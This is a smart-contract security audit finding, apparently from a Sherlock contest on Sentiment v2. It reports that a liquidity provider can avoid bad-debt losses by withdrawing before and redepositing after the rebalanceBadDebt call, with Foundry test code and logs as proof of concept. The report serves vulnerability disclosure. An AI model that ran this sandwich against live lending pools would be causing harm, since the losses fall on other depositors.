Tricky Felt Lizard

High

# Liquidity Provider can sandwich the ```rebalanceBadDebt()``` call with withdraw and deposit so to avoid losing funds and slash the assets of the other LPs more.

## Summary
``` rebalanceBadDebt()``` function allows an LP to avoid losses during bad debt rebalancing by sandwiching it with withdrawal and deposit, thereby unfairly diluting other LPs' assets.

## Vulnerability Detail
When a Position becomes insolvent, the BasePools that it was borrowed from needs to rebalance it as it is considered bad debt. This happens in the ```liquidateBadDebt()``` function and we can see it's implementation here :

```solidity
    function liquidateBadDebt(address position) external onlyOwner {
        // ...

        // clear all debt associated with the given position
        uint256[] memory debtPools = Position(payable(position)).getDebtPools();
        uint256 debtPoolsLength = debtPools.length;
        for (uint256 i; i < debtPoolsLength; ++i) {
@>            pool.rebalanceBadDebt(debtPools[i], position);
            Position(payable(position)).repay(debtPools[i], type(uint256).max);
        }
    }
```
[Link to code](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/PositionManager.sol#L446-L464)

Rebalancing a Position, basically, means that the BasePool removes everything related to it from it's accountings, slashing in this way the depositAssets of the LPs causing them a loss since their shares deserve less assets than before. We can see the implementation here :

```solidity
function rebalanceBadDebt(uint256 poolId, address position) external {
        // ...

        // rebalance bad debt across lenders
@>        pool.totalBorrowShares = totalBorrowShares - borrowShares;
        // handle borrowAssets being rounded up to be greater than totalBorrowAssets
@>        pool.totalBorrowAssets = (totalBorrowAssets > borrowAssets) ? totalBorrowAssets - borrowAssets : 0;
        uint256 totalDepositAssets = pool.totalDepositAssets;
@>        pool.totalDepositAssets = (totalDepositAssets > borrowAssets) ? totalDepositAssets - borrowAssets : 0;
@>        borrowSharesOf[poolId][position] = 0;
    }

```
[Link to code](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/Pool.sol#L528-L549)

This is  fair for the LPs of the Basepool since they took the risk to invest(lend money) to this particular ```rateModel```, ```token``` etc. However, it is possible for an LP to avoid the losses that he should take and cause the assets of the other LPs to be slashed more. This can happen by sandwiching the ```rebalanceBadDebt()``` call with a withdrawal and a deposit and in this way, technically, his assets will not get diluted. For more details, please refer to the PoC.

## Impact
The vulnerability allows an LP to avoid their fair share of losses during the ```rebalanceBadDebt() ```process. This results in an uneven distribution of losses, with other LPs having a greater financial loss.  In the worst-case scenario, this could lead to significant financial losses for unsuspecting LPs, while malicious' LP funds are still earning interest and considered "in pool".

## Proof of Concept
To understand better this vulnerability, we have to simulate the process two times. One time, without the sandwiching and see how many assets do LP lost and one time with the sandwiching and see if the LP gained from it. Before all, add these lines in the ```setUp``` function of ```LiquidationTest.t.sol``` :
```diff
    function setUp() public override {
        super.setUp();

        pool = protocol.pool();
        riskEngine = protocol.riskEngine();
        positionManager = protocol.positionManager();

        // ZeroOracle zeroOracle = new ZeroOracle();
        FixedPriceOracle oneEthOracle = new FixedPriceOracle(1e18);

        vm.startPrank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(oneEthOracle)); // 1 asset1 = 1 eth
        riskEngine.setOracle(address(asset2), address(oneEthOracle)); // 1 asset2 = 1 eth
        riskEngine.setOracle(address(asset3), address(oneEthOracle)); // 1 asset3 = 1 eth
        vm.stopPrank();

        vm.startPrank(poolOwner);
        riskEngine.requestLtvUpdate(fixedRatePool, address(asset3), 0.5e18); // 2x lev
        riskEngine.acceptLtvUpdate(fixedRatePool, address(asset3));
        riskEngine.requestLtvUpdate(fixedRatePool, address(asset2), 0.5e18); // 2x lev
        riskEngine.acceptLtvUpdate(fixedRatePool, address(asset2));
        vm.stopPrank();

        asset1.mint(lender, 100e18);
        asset2.mint(user, 10e18);

+        vm.startPrank(maliciousLP);
+        asset1.mint(maliciousLP, 100e18);
+        asset1.approve(address(pool), 100e18);
+        pool.deposit(fixedRatePool, 100e18, maliciousLP);
+        vm.stopPrank();

        vm.startPrank(lender);
        asset1.approve(address(pool), 100e18);
        pool.deposit(fixedRatePool, 100e18, lender);
        vm.stopPrank();
    }
```

 For the first case where the ```maliciousLP``` will not sandwich the ```rebalanceBadDebt``` call, you can add this test in ```LiquidationTest.t.sol``` and run ```forge test --mt testLiquidateBadDebtWithMaliciousNOTSandwichingIt -vvvv``` :

```solidity
    function testLiquidateBadDebtWithMaliciousNOTSandwichingIt() public {
        vm.startPrank(user);
        asset2.approve(address(positionManager), 20e18);
        asset2.mint(user, 20e18);

        // User deposit 20e18 asset2, borrow 1e18 asset1.
        Action[] memory actions = new Action[](4);
        (position, actions[0]) = newPosition(user, bytes32(uint256(0x123456789)));
        actions[1] = deposit(address(asset2), 20e18);
        actions[2] = addToken(address(asset2));
        actions[3] = borrow(fixedRatePool, 1e18);
        positionManager.processBatch(position, actions);
        vm.stopPrank();
        assertTrue(riskEngine.isPositionHealthy(position));

        // Modify asset2 price from 1eth to 0.01eth to make position insolvent.
        FixedPriceOracle pointOneEthOracle = new FixedPriceOracle(0.01e18);
        vm.prank(protocolOwner);
        riskEngine.setOracle(address(asset2), address(pointOneEthOracle));
        assertFalse(riskEngine.isPositionHealthy(position));

        console.log("Assets of maliciousLP before : ", pool.convertToAssets(pool.balanceOf(maliciousLP, fixedRatePool), pool.getTotalAssets(fixedRatePool), pool.balanceOf(maliciousLP, fixedRatePool) + pool.balanceOf(lender, fixedRatePool)));

        // Owner liquidates the insolvent position.
        vm.startPrank(protocolOwner);
        positionManager.liquidateBadDebt(position);
        vm.stopPrank();

        console.log("Assets of maliciousLP after: ", pool.convertToAssets(pool.balanceOf(maliciousLP, fixedRatePool), pool.getTotalAssets(fixedRatePool), pool.balanceOf(maliciousLP, fixedRatePool) + pool.balanceOf(lender, fixedRatePool)));
    }
```
It is clear from the logs that assets of ```malicousLP``` (and the other ```lender``` LP of course) got slashed due to this event :
```md
Logs:
  Assets of maliciousLP before :  100000000000000000000
  Assets of maliciousLP after:    99500000000000000000
```

Let's now see what happens if he decide to sandwich the rebalancing. For this case, add this test in ```LiquidationTest.t.sol``` and run ```forge test --mt testLiquidateBadDebtWithMaliciousSandwichingIt -vvvv``` :

```solidity
    function testLiquidateBadDebtWithMaliciousSandwichingIt() public {
        vm.startPrank(user);
        asset2.approve(address(positionManager), 20e18);
        asset2.mint(user, 20e18);

        // User deposit 20e18 asset2, borrow 1e18 asset1.
        Action[] memory actions = new Action[](4);
        (position, actions[0]) = newPosition(user, bytes32(uint256(0x123456789)));
        actions[1] = deposit(address(asset2), 20e18);
        actions[2] = addToken(address(asset2));
        actions[3] = borrow(fixedRatePool, 1e18);
        positionManager.processBatch(position, actions);
        vm.stopPrank();
        assertTrue(riskEngine.isPositionHealthy(position));

        // Modify asset2 price from 1eth to 0.01eth to make position insolvent.
        FixedPriceOracle pointOneEthOracle = new FixedPriceOracle(0.01e18);
        vm.prank(protocolOwner);
        riskEngine.setOracle(address(asset2), address(pointOneEthOracle));
        assertFalse(riskEngine.isPositionHealthy(position));

        console.log("Assets of maliciousLP before : ", pool.convertToAssets(pool.balanceOf(maliciousLP, fixedRatePool), pool.getTotalAssets(fixedRatePool), pool.balanceOf(maliciousLP, fixedRatePool) + pool.balanceOf(lender, fixedRatePool)));
        // Malicious LP withdraws his assets just before the liquidation so to not see his funds slashed.
        vm.startPrank(maliciousLP);
        pool.withdraw(fixedRatePool, 100e18, maliciousLP, maliciousLP);
        vm.stopPrank();
        
        // Owner liquidates the insolvent position.                                                                                      
        vm.startPrank(protocolOwner);
        positionManager.liquidateBadDebt(position);
        vm.stopPrank();

        // Malicious LP deposits his assets back immediately after the liquidation and he has not lost funds.
        vm.startPrank(maliciousLP);
        asset1.approve(address(pool), 100e18);
        pool.deposit(fixedRatePool, 100e18, maliciousLP);
        vm.stopPrank();
        console.log("Assets of maliciousLP after: ", pool.convertToAssets(pool.balanceOf(maliciousLP, fixedRatePool), pool.getTotalAssets(fixedRatePool), pool.balanceOf(maliciousLP, fixedRatePool) + pool.balanceOf(lender, fixedRatePool)));
    }
```
The logs in of the balance of maliciousLP will show that he gained from this action :
```md
Logs:
  Assets of maliciousLP before :  100000000000000000000
  Assets of maliciousLP after:    99999999999999999999
```

At the first case, he saw his assets getting slashed by 500000000000000000(which was right) and at the second case, he saw his assets getting slashed by just 1 wei.

## Code Snippet
Here is the ```rebalanceBadDebt()``` function of ```PositionManager``` contract :
```solidity
   function liquidateBadDebt(address position) external onlyOwner {
        riskEngine.validateBadDebt(position);

        // transfer any remaining position assets to the PositionManager owner
        address[] memory positionAssets = Position(payable(position)).getPositionAssets();
        uint256 positionAssetsLength = positionAssets.length;
        for (uint256 i; i < positionAssetsLength; ++i) {
            uint256 amt = IERC20(positionAssets[i]).balanceOf(position);
            try Position(payable(position)).transfer(owner(), positionAssets[i], amt) { } catch { }
        }

        // clear all debt associated with the given position
        uint256[] memory debtPools = Position(payable(position)).getDebtPools();
        uint256 debtPoolsLength = debtPools.length;
        for (uint256 i; i < debtPoolsLength; ++i) {
            pool.rebalanceBadDebt(debtPools[i], position);
            Position(payable(position)).repay(debtPools[i], type(uint256).max);
        }
    }
```
[Link to code](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/PositionManager.sol#L446C5-L464C6)

## Tool used
Manual Review

## Recommendation
Consider adding a timelock for deposits and withdrawals so to limit this kind of behavior.